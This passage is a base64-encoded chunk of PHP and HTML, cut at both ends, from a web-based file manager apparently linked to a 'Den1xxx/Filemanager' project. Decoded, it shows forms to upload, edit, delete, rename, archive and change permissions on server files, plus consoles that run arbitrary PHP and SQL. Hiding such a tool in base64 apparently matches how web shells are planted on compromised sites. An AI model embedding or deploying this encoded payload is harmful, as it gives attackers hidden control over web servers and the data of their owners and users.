ZmlsZSddKSkgeyA/Pg0KCQkgICAgICAgICAJCSAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI8Pz0kdXJsX2luYz8+Ij4NCg0KCQkgICAgICAgICAJCSAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiICAgICB2YWx1ZT0iPD89JHBhdGg/PiIgLz4NCgkJICAgICAgICAgCQkgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgICBuYW1lPSJmaWxlbmFtZSIgc2l6ZT0iMTUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJCSAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im1rZmlsZSIgICB2YWx1ZT0iPD89X18oJ05ldyBmaWxlJyk/PiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAkJICAgICAgICAgPC9mb3JtPg0KDQoJCSAgICAgICAgIAk8P3BocCB9ID8+DQoJCSAgICAgICAgIAk8L3RkPg0KDQoJCSAgICAgICAgIAk8dGQ+DQoJCSAgICAgICAgIAkJICAgICAgICAgPGZvcm0gIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI8Pz0kdXJsX2luYz8+IiBzdHlsZT0iZGlzcGxheTppbmxpbmUiPg0KDQoJCSAgICAgICAgIAkJICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/PSRwYXRoPz4iIC8+DQoJCSAgICAgICAgIAkJICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSI8Pz1fXygnUmVjdXJzaXZlIHNlYXJjaCcpPz4iIG5hbWU9InNlYXJjaF9yZWN1cnNpdmUiIHZhbHVlPSI8Pz0hZW1wdHkoJF9QT1NUWydzZWFyY2hfcmVjdXJzaXZlJ10pPyRfUE9TVFsnc2VhcmNoX3JlY3Vyc2l2ZSddOicnPz4iIHNpemU9IjE1Ij4NCgkJICAgICAgICAgCQkgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWFzayIgcGxhY2Vob2xkZXI9Ijw/PV9fKCdNYXNrJyk/PiIgdmFsdWU9Ijw/PSFlbXB0eSgkX1BPU1RbJ21hc2snXSk/JF9QT1NUWydtYXNrJ106JyouKic/PiIgc2l6ZT0iNSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJCSAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InNlYXJjaCIgdmFsdWU9Ijw/PV9fKCdTZWFyY2gnKT8+Ij4NCgkJICAgICAgICAgCQkgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCTx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJPD89Zm1fcnVuX2lucHV0KCdwaHAnKT8+DQoNCgkJICAgICAgICAgCTwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAk8dGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCTw/PWZtX3J1bl9pbnB1dCgnc3FsJyk/Pg0KDQoJCSAgICAgICAgIAk8L3RkPg0KDQoJCSAgICAgICAgIAk8L3RyPg0KDQoJCSAgICAgICAgIDwvdGFibGU+DQoNCiAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgIDx0ZCBjbGFzcz0icm93MyI+DQoNCgkJICAgICAgICAgPHRhYmxlPg0KDQoJCSAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgPHRkPg0KDQoJCSAgICAgICAgIDw/cGhwIGlmICghZW1wdHkoJGZtc19jb25maWdbJ3VwbG9hZF9teWZpbGUnXSkpIHsgPz4NCg0KCQkgICAgICAgICAJPGZvcm0gbmFtZT0iZm9ybTEiIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI8Pz0kdXJsX2luYz8+IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4NCg0KCQkgICAgICAgICAJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/PSRwYXRoPz4iIC8+DQoNCgkJICAgICAgICAgCTxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJ1cGxvYWQiIGlkPSJ1cGxvYWRfaGlkZGVuIiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBkaXNwbGF5OiBibG9jazsgb3ZlcmZsb3c6IGhpZGRlbjsgd2lkdGg6IDA7IGhlaWdodDogMDsgYm9yZGVyOiAwOyBwYWRkaW5nOiAwOyIgb25jaGFuZ2U9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd1cGxvYWRfdmlzaWJsZScpLnZhbHVlID0gdGhpcy52YWx1ZTsiIC8+DQoNCgkJICAgICAgICAgCTxpbnB1dCB0eXBlPSJ0ZXh0IiByZWFkb25seT0iMSIgaWQ9InVwbG9hZF92aXNpYmxlIiBwbGFjZWhvbGRlcj0iPD89X18oJ1NlbGVjdCB0aGUgZmlsZScpPz4iIHN0eWxlPSJjdXJzb3I6IHBvaW50ZXI7IiBvbmNsaWNrPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXBsb2FkX2hpZGRlbicpLmNsaWNrKCk7IiAvPg0KCQkgICAgICAgICAJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0idGVzdCIgdmFsdWU9Ijw/PV9fKCdVcGxvYWQnKT8+IiAvPg0KDQoJCSAgICAgICAgIAk8L2Zvcm0+DQoNCgkJICAgICAgICAgPD9waHAgfSA/Pg0KCQkgICAgICAgICA8L3RkPg0KCQkgICAgICAgICA8dGQ+DQoNCgkJICAgICAgICAgPD9waHAgaWYgKCRhdXRoX2xvY2FsWydhdXRob3JpemUnXSkgeyA/Pg0KCQkgICAgICAgICAJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7DQoNCgkJICAgICAgICAgCTxpbnB1dCBuYW1lPSJxdWl0IiB0eXBlPSJoaWRkZW4iIHZhbHVlPSIxIj4NCg0KDQoNCg0KCQkgICAgICAgICAJPD89X18oJ0hlbGxvJyk/PiwgPD89JGF1dGhfbG9jYWxbJ2xvZ2luJ10/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSI8Pz1fXygnUXVpdCcpPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCTwvZm9ybT4NCgkJICAgICAgICAgPD9waHAgfSA/Pg0KDQoJCSAgICAgICAgIDwvdGQ+DQoNCgkJICAgICAgICAgPHRkPg0KCQkgICAgICAgICA8Pz1mbV9sYW5nX2Zvcm0oJGxhbmd1YWdlKT8+DQoJCSAgICAgICAgIDwvdGQ+DQoJCSAgICAgICAgIDx0cj4NCg0KCQkgICAgICAgICA8L3RhYmxlPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICA8L3RkPg0KDQo8L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICANCjwvdGFibGU+DQoNCjx0YWJsZSBjbGFzcz0iYWxsIiBib3JkZXI9JzAnIGNlbGxzcGFjaW5nPScxJyBjZWxscGFkZGluZz0nMScgaWQ9ImZtX3RhYmxlIiB3aWR0aD0iMTAwJSI+DQoNCjx0aGVhZD4NCjx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgPHRoIHN0eWxlPSJ3aGl0ZS1zcGFjZTpub3dyYXAiPiA8Pz1fXygnRmlsZW5hbWUnKT8+IDwvdGg+DQoNCiAgICA8dGggc3R5bGU9IndoaXRlLXNwYWNlOm5vd3JhcCI+IDw/PV9fKCdTaXplJyk/PiA8L3RoPg0KICAgIDx0aCBzdHlsZT0id2hpdGUtc3BhY2U6bm93cmFwIj4gPD89X18oJ0RhdGUnKT8+IDwvdGg+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICA8dGggc3R5bGU9IndoaXRlLXNwYWNlOm5vd3JhcCI+IDw/PV9fKCdSaWdodHMnKT8+IDwvdGg+DQoNCiAgICA8dGggY29sc3Bhbj0iNCIgc3R5bGU9IndoaXRlLXNwYWNlOm5vd3JhcCI+IDw/PV9fKCdNYW5hZ2UnKT8+IDwvdGg+DQoNCjwvdHI+DQo8L3RoZWFkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjx0Ym9keT4NCg0KDQoNCg0KPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KJGVsZW1lbnRzID0gZm1fc2Nhbl9kaXIoJHBhdGgsICcnLCAnYWxsJywgdHJ1ZSk7DQoNCiRkaXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQokZmlsZVNldCA9IGFycmF5KCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KZm9yZWFjaCAoJGVsZW1lbnRzIGFzICRmaWxlKXsNCg0KICAgIGlmKEBpc19kaXIoJHBhdGggLiAkZmlsZSkpew0KICAgICAgICAkZGlyc1tdID0gJGZpbGU7DQoNCg0KDQogICAgfSBlbHNlIHsNCg0KICAgICAgICAkZmlsZVNldFtdID0gJGZpbGU7DQoNCiAgICB9DQoNCn0NCm5hdHNvcnQoJGRpcnMpOyBuYXRzb3J0KCRmaWxlU2V0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICANCiRlbGVtZW50cyA9IGFycmF5X21lcmdlKCRkaXJzLCAkZmlsZVNldCk7DQoNCg0KDQpmb3JlYWNoICgkZWxlbWVudHMgYXMgJGZpbGUpew0KDQogICAgJGZpbGVuYW1lID0gJHBhdGggLiAkZmlsZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgJGZpbGVkYXRhID0gQHN0YXQoJGZpbGVuYW1lKTsNCg0KICAgIGlmKEBpc19kaXIoJGZpbGVuYW1lKSl7DQoJCSAgICAgICAgICRmaWxlZGF0YVs3XSA9ICcnOw0KDQoJCSAgICAgICAgIGlmICghZW1wdHkoJGZtc19jb25maWdbJ3Nob3dfZGlyX3NpemUnXSkmJiFmbV9yb290KCRmaWxlKSkgJGZpbGVkYXRhWzddID0gZm1fZGlyX3NpemUoJGZpbGVuYW1lKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgJGxpbmsgPSAnPGEgaHJlZj0iJy4kdXJsX2luYy4nJnBhdGg9Jy4kcGF0aC4kZmlsZS4nIiB0aXRsZT0iJy5fXygnU2hvdycpLicgJy4kZmlsZS4nIj48c3BhbiBjbGFzcz0iZm9sZGVyIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8L3NwYW4+ICcuJGZpbGUuJzwvYT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgJGxvYWRsaW5rPSAoZm1fcm9vdCgkZmlsZSl8fCRwaGFyX21heWJlKSA/ICcnIDogZm1fbGluaygnemlwJywkZmlsZW5hbWUsX18oJ0NvbXByZXNzJykuJyZuYnNwO3ppcCcsX18oJ0FyY2hpdmluZycpLicgJy4gJGZpbGUpOw0KDQoJCSAgICAgICAgICRhcmxpbmsgID0gKGZtX3Jvb3QoJGZpbGUpfHwkcGhhcl9tYXliZSkgPyAnJyA6IGZtX2xpbmsoJ2d6JywkZmlsZW5hbWUsX18oJ0NvbXByZXNzJykuJyZuYnNwOy50YXIuZ3onLF9fKCdBcmNoaXZpbmcnKS4nICcuJGZpbGUpOw0KICAgICAgICAkc3R5bGUgPSAncm93Mic7DQoNCgkJICAgICAgICAgIGlmICghZm1fcm9vdCgkZmlsZSkpICRhbGVydCA9ICdvbkNsaWNrPSJpZihjb25maXJtKFwnJyAuIF9fKCdBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIHRoaXMgZGlyZWN0b3J5IChyZWN1cnNpdmVseSk/JykuJ1xuIC8nLiAkZmlsZS4gJ1wnKSkgZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9IFwnJyAuICR1cmxfaW5jIC4gJyZkZWxldGU9JyAuICRmaWxlIC4gJyZwYXRoPScgLiAkcGF0aCAgLiAnXCciJzsgZWxzZSAkYWxlcnQgPSAnJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgfSBlbHNlIHsNCgkJICAgICAgICAgJGxpbmsgPSANCg0KCQkgICAgICAgICAJJGZtc19jb25maWdbJ3Nob3dfaW1nJ10mJkBnZXRpbWFnZXNpemUoJGZpbGVuYW1lKSANCg0KCQkgICAgICAgICAJPyAnPGEgdGFyZ2V0PSJfYmxhbmsiIG9uY2xpY2s9InZhciBsZWZ0byA9IHNjcmVlbi5hdmFpbFdpZHRoLzItMzIwO3dpbmRvdy5vcGVuKFwnJw0KICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAkuIGZtX2ltZ19saW5rKCRmaWxlbmFtZSkNCg0KCQkgICAgICAgICAJLidcJyxcJ3BvcHVwXCcsXCd3aWR0aD02NDAsaGVpZ2h0PTQ4MCxsZWZ0PVwnICsgbGVmdG8gKyBcJyxzY3JvbGxiYXJzPXllcyx0b29sYmFyPW5vLGxvY2F0aW9uPW5vLGRpcmVjdG9yaWVzPW5vLHN0YXR1cz1ub1wnKTtyZXR1cm4gZmFsc2U7IiBocmVmPSInLmZtX2ltZ19saW5rKCRmaWxlbmFtZSkuJyI+PHNwYW4gY2xhc3M9ImltZyI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9zcGFuPiAnLiRmaWxlLic8L2E+Jw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJOiAnPGEgaHJlZj0iJyAuICR1cmxfaW5jIC4gJyZlZGl0PScgLiAkZmlsZSAuICcmcGF0aD0nIC4gJHBhdGguICciIHRpdGxlPSInIC4gX18oJ0VkaXQnKSAuICciPjxzcGFuIGNsYXNzPSJmaWxlIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8L3NwYW4+ICcuJGZpbGUuJzwvYT4nOw0KDQoJCSAgICAgICAgICRlX2FyciA9IGV4cGxvZGUoIi4iLCAkZmlsZSk7DQoNCgkJICAgICAgICAgJGV4dCA9IGVuZCgkZV9hcnIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAkbG9hZGxpbmsgPSAgZm1fbGluaygnZG93bmxvYWQnLCRmaWxlbmFtZSxfXygnRG93bmxvYWQnKSxfXygnRG93bmxvYWQnKS4nICcuICRmaWxlKTsNCg0KCQkgICAgICAgICAkYXJsaW5rID0gaW5fYXJyYXkoJGV4dCxhcnJheSgnemlwJywnZ3onLCd0YXInKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICA/ICcnDQoJCSAgICAgICAgIDogKChmbV9yb290KCRmaWxlKXx8JHBoYXJfbWF5YmUpID8gJycgOiBmbV9saW5rKCdnemZpbGUnLCRmaWxlbmFtZSxfXygnQ29tcHJlc3MnKS4nJm5ic3A7LnRhci5neicsX18oJ0FyY2hpdmluZycpLicgJy4gJGZpbGUpKTsNCg0KICAgICAgICAkc3R5bGUgPSAncm93MSc7DQoJCSAgICAgICAgICRhbGVydCA9ICdvbkNsaWNrPSJpZihjb25maXJtKFwnJy4gX18oJ0ZpbGUgc2VsZWN0ZWQnKS4nOiBcbicuICRmaWxlLiAnLiBcbicuX18oJ0FyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBkZWxldGUgdGhpcyBmaWxlPycpIC4gJ1wnKSkgZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9IFwnJyAuICR1cmxfaW5jIC4gJyZkZWxldGU9JyAuICRmaWxlIC4gJyZwYXRoPScgLiAkcGF0aCAgLiAnXCciJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgIH0NCiAgICAkZGVsZXRlbGluayA9IGZtX3Jvb3QoJGZpbGUpID8gJycgOiAnPGEgaHJlZj0iIyIgdGl0bGU9IicgLiBfXygnRGVsZXRlJykgLiAnICcuICRmaWxlIC4gJyIgJyAuICRhbGVydCAuICc+JyAuIF9fKCdEZWxldGUnKSAuICc8L2E+JzsNCg0KICAgICRyZW5hbWVsaW5rID0gZm1fcm9vdCgkZmlsZSkgPyAnJyA6ICc8YSBocmVmPSInIC4gJHVybF9pbmMgLiAnJnJlbmFtZT0nIC4gJGZpbGUgLiAnJnBhdGg9JyAuICRwYXRoIC4gJyIgdGl0bGU9IicgLiBfXygnUmVuYW1lJykgLicgJy4gJGZpbGUgLiAnIj4nIC4gX18oJ1JlbmFtZScpIC4gJzwvYT4nOw0KDQogICAgJHJpZ2h0c3RleHQgPSAoJGZpbGU9PScuJyB8fCAkZmlsZT09Jy4uJykgPyAnJyA6ICc8YSBocmVmPSInIC4gJHVybF9pbmMgLiAnJnJpZ2h0cz0nIC4gJGZpbGUgLiAnJnBhdGg9JyAuICRwYXRoIC4gJyIgdGl0bGU9IicgLiBfXygnUmlnaHRzJykgLicgJy4gJGZpbGUgLiAnIj4nIC4gQGZtX3JpZ2h0c19zdHJpbmcoJGZpbGVuYW1lKSAuICc8L2E+JzsNCg0KPz4NCg0KPHRyIGNsYXNzPSI8Pz0kc3R5bGU/PiI+IA0KDQogICAgPHRkPjw/PSRsaW5rPz48L3RkPg0KICAgIDx0ZD48Pz0kZmlsZWRhdGFbN10/PjwvdGQ+DQogICAgPHRkIHN0eWxlPSJ3aGl0ZS1zcGFjZTpub3dyYXAiPjw/PWdtZGF0ZSgiWS1tLWQgSDppOnMiLCRmaWxlZGF0YVs5XSk/PjwvdGQ+DQoNCiAgICA8dGQ+PD89JHJpZ2h0c3RleHQ/PjwvdGQ+DQogICAgPHRkPjw/PSRkZWxldGVsaW5rPz48L3RkPg0KDQogICAgPHRkPjw/PSRyZW5hbWVsaW5rPz48L3RkPg0KICAgIDx0ZD48Pz0kbG9hZGxpbms/PjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgIDx0ZD48Pz0kYXJsaW5rPz48L3RkPg0KPC90cj4NCjw/cGhwDQogICAgfQ0KfQ0KDQo/Pg0KDQo8L3Rib2R5Pg0KDQo8L3RhYmxlPg0KDQo8ZGl2IGNsYXNzPSJyb3czIj48P3BocA0KDQoJJG10aW1lX3NoYXJlID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsgDQoJDQoNCg0KDQogICAgJHRvdGFsdGltZSA9ICRtdGltZV9zaGFyZVswXSArICRtdGltZV9zaGFyZVsxXSAtICRzdGFydHRpbWU7IA0KDQoJZWNobyBmbV9ob21lKCkuJyB8IHZlci4gJy4kZm1fdmVyc2lvbi4nIHwgPGEgaHJlZj0iaHR0cHM6Ly9naXRodWIuY29tL0RlbjF4eHgvRmlsZW1hbmFnZXIiPkdpdGh1YjwvYT4gIHwgPGEgaHJlZj0iJy5mbV9zaXRlX3VybCgpLiciPi48L2E+JzsNCg0KCWlmICghZW1wdHkoJGZtc19jb25maWdbJ3Nob3dfcGhwX3ZlciddKSkgZWNobyAnIHwgUEhQICcucGhwdmVyc2lvbigpOw0KDQoNCg0KDQoNCg0KDQoJaWYgKCFlbXB0eSgkZm1zX2NvbmZpZ1snc2hvd19waHBfaW5pJ10pKSBlY2hvICcgfCAnLnBocF9pbmlfbG9hZGVkX2ZpbGUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJaWYgKCFlbXB0eSgkZm1zX2NvbmZpZ1snc2hvd19ndCddKSkgZWNobyAnIHwgJy5fXygnR2VuZXJhdGlvbiB0aW1lJykuJzogJy5yb3VuZCgkdG90YWx0aW1lLDIpOw0KDQoJDQogICAgDQogICAgDQogICAgaWYgKCFlbXB0eSgkZm1zX2NvbmZpZ1snZW5hYmxlX3Byb3h5J10pKSBlY2hvICcgfCA8YSBocmVmPSI/cHJveHk9dHJ1ZSI+cHJveHk8L2E+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICANCglpZiAoIWVtcHR5KCRmbXNfY29uZmlnWydzaG93X3BocGluZm8nXSkpIGVjaG8gJyB8IDxhIGhyZWY9Ij9waHBpbmZvPXRydWUiPnBocGluZm88L2E+JzsNCg0KCQ0KICAgIA0KICAgIA0KICAgIGlmICghZW1wdHkoJGZtc19jb25maWdbJ3Nob3dfeGxzJ10pJiYhZW1wdHkoJGxpbmspKSBlY2hvICcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OiB2b2lkKDApIiBvbmNsaWNrPSJ2YXIgb2JqID0gbmV3IHRhYmxlMkV4Y2VsKCk7IG9iai5DcmVhdGVFeGNlbFNoZWV0KFwnZm1fdGFibGVcJyxcJ2V4cG9ydFwnKTsiIHRpdGxlPSInLl9fKCdEb3dubG9hZCcpLicgeGxzIj54bHM8L2E+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgIA0KCWlmICghZW1wdHkoJGZtc19jb25maWdbJ2ZtX3NldHRpbmdzJ10pKSBlY2hvICcgfCA8YSBocmVmPSI/Zm1fc2V0dGluZ3M9dHJ1ZSI+Jy5fXygnU2V0dGluZ3MnKS4nPC9hPic7DQoNCgk/Pg0KDQo8L2Rpdj4NCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCmZ1bmN0aW9uIGRvd25sb2FkX3hscyhmaWxlbmFtZSwgdGV4dCkgew0KDQoJdmFyIGVsZW1lbnQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdhJyk7DQoJZWxlbWVudC5zZXRBdHRyaWJ1dGUoJ2hyZWYnLCAnZGF0YTphcHBsaWNhdGlvbi92bmQubXMtZXhjZWw7YmFzZTY0LCcgKyB0ZXh0KTsNCg0KCWVsZW1lbnQuc2V0QXR0cmlidXRlKCdkb3dubG9hZCcsIGZpbGVuYW1lKTsNCgllbGVtZW50LnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQoNCglkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGVsZW1lbnQpOw0KCWVsZW1lbnQuY2xpY2soKTsNCg0KCWRvY3VtZW50LmJvZHkucmVtb3ZlQ2hpbGQoZWxlbWVudCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQp9DQoNCg0KDQpmdW5jdGlvbiBiYXNlNjRfZW5jb2RlKG0pIHsNCg0KCWZvciAodmFyIGsgPSAiQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLyIuc3BsaXQoIiIpLCBjLCBkLCBoLCBlLCBhLCBnID0gIiIsIGIgPSAwLCBmLCBsID0gMDsgbCA8IG0ubGVuZ3RoOyArK2wpIHsNCg0KCQkgICAgICAgICBjID0gbS5jaGFyQ29kZUF0KGwpOw0KDQoJCSAgICAgICAgIGlmICgxMjggPiBjKSBkID0gMTsNCg0KCQkgICAgICAgICBlbHNlDQoNCgkJICAgICAgICAgCWZvciAoZCA9IDI7IGMgPj0gMiA8PCA1ICogZDspICsrZDsNCgkJICAgICAgICAgZm9yIChoID0gMDsgaCA8IGQ7ICsraCkgMSA9PSBkID8gZSA9IGMgOiAoZSA9IGggPyAxMjggOiAxOTIsIGEgPSBkIC0gMiAtIDYgKiBoLCAwIDw9IGEgJiYgKGUgKz0gKDYgPD0gYSA/IDEgOiAwKSArICg1IDw9IGEgPyAyIDogMCkgKyAoNCA8PSBhID8gNCA6IDApICsgKDMgPD0gYSA/IDggOiAwKSArICgyIDw9IGEgPyAxNiA6IDApICsgKDEgPD0gYSA/IDMyIDogMCksIGEgLT0gNSksIDAgPiBhICYmICh1ID0gNiAqIChkIC0gMSAtIGgpLCBlICs9IGMgPj4gdSwgYyAtPSBjID4+IHUgPDwgdSkpLCBmID0gYiA/IGYgPDwgNiAtIGIgOiAwLCBiICs9IDIsIGYgKz0gZSA+PiBiLCBnICs9IGtbZl0sIGYgPSBlICUgKDEgPDwgYiksIDYgPT0gYiAmJiAoYiA9IDAsIGcgKz0ga1tmXSkNCg0KCX0NCgliICYmIChnICs9IGtbZiA8PCA2IC0gYl0pOw0KCXJldHVybiBnDQoNCn0NCg0KDQoNCnZhciB0YWJsZVRvRXhjZWxEYXRhID0gKGZ1bmN0aW9uKCkgew0KDQogICAgdmFyIHVyaSA9ICdkYXRhOmFwcGxpY2F0aW9uL3ZuZC5tcy1leGNlbDtiYXNlNjQsJywNCg0KICAgIHRlbXBsYXRlID0gJzxodG1sIHhtbG5zOm89InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206b2ZmaWNlOm9mZmljZSIgeG1sbnM6eD0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6ZXhjZWwiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy9UUi9SRUMtaHRtbDQwIj48aGVhZD48IS0tW2lmIGd0ZSBtc28gOV0+PHhtbD48eDpFeGNlbFdvcmtib29rPjx4OkV4Y2VsV29ya3NoZWV0cz48eDpFeGNlbFdvcmtzaGVldD48eDpOYW1lPnt3b3Jrc2hlZXR9PC94Ok5hbWU+PHg6V29ya3NoZWV0T3B0aW9ucz48eDpEaXNwbGF5R3JpZGxpbmVzPjwveDpEaXNwbGF5R3JpZGxpbmVzPjwveDpXb3Jrc2hlZXRPcHRpb25zPjwveDpFeGNlbFdvcmtzaGVldD48L3g6RXhjZWxXb3Jrc2hlZXRzPjwveDpFeGNlbFdvcmtib29rPjwveG1sPjwhW2VuZGlmXS0tPjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9wbGFpbjsgY2hhcnNldD1VVEYtOCIvPjwvaGVhZD48Ym9keT48dGFibGU+e3RhYmxlfTwvdGFibGU+PC9ib2R5PjwvaHRtbD4nLA0KDQogICAgZm9ybWF0ID0gZnVuY3Rpb24ocywgYykgew0KDQogICAgICAgICAgICByZXR1cm4gcy5yZXBsYWNlKC97KFx3Kyl9L2csIGZ1bmN0aW9uKG0sIHApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICByZXR1cm4gY1twXTsNCiAgICAgICAgICAgIH0pDQoNCiAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICByZXR1cm4gZnVuY3Rpb24odGFibGUsIG5hbWUpIHsNCg0KICAgICAgICBpZiAoIXRhYmxlLm5vZGVUeXBlKSB0YWJsZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHRhYmxlKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICB2YXIgY3R4ID0gew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICB3b3Jrc2hlZXQ6IG5hbWUgfHwgJ1dvcmtzaGVldCcsDQoNCiAgICAgICAgICAgIHRhYmxlOiB0YWJsZS5pbm5lckhUTUwucmVwbGFjZSgvPHNwYW4oLio/KVwvc3Bhbj4gL2csIiIpLnJlcGxhY2UoLzxhXGJbXj5dKj4oLio/KTxcL2E+L2csIiQxIikNCiAgICAgICAgfQ0KCQkgICAgICAgICB0ID0gbmV3IERhdGUoKTsNCgkJICAgICAgICAgZmlsZW5hbWUgPSAnZm1fJyArIHQudG9JU09TdHJpbmcoKSArICcueGxzJw0KDQoJCSAgICAgICAgIGRvd25sb2FkX3hscyhmaWxlbmFtZSwgYmFzZTY0X2VuY29kZShmb3JtYXQodGVtcGxhdGUsIGN0eCkpKQ0KDQogICAgfQ0KDQp9KSgpOw0KDQoNCnZhciB0YWJsZTJFeGNlbCA9IGZ1bmN0aW9uICgpIHsNCg0KDQogICAgdmFyIHVhID0gd2luZG93Lm5hdmlnYXRvci51c2VyQWdlbnQ7DQogICAgdmFyIG1zaWUgPSB1YS5pbmRleE9mKCJNU0lFICIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KCXRoaXMuQ3JlYXRlRXhjZWxTaGVldCA9IA0KDQoJCSAgICAgICAgIGZ1bmN0aW9uKGVsLCBuYW1lKXsNCgkJICAgICAgICAgCWlmIChtc2llID4gMCB8fCAhIW5hdmlnYXRvci51c2VyQWdlbnQubWF0Y2goL1RyaWRlbnQuKnJ2XDoxMVwuLykpIHsvLyBJZiBJbnRlcm5ldCBFeHBsb3Jlcg0KDQoNCg0KCQkgICAgICAgICAJCSAgICAgICAgIHZhciB4ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoZWwpLnJvd3M7DQoNCg0KDQoJCSAgICAgICAgIAkJICAgICAgICAgdmFyIHhscyA9IG5ldyBBY3RpdmVYT2JqZWN0KCJFeGNlbC5BcHBsaWNhdGlvbiIpOw0KDQoNCg0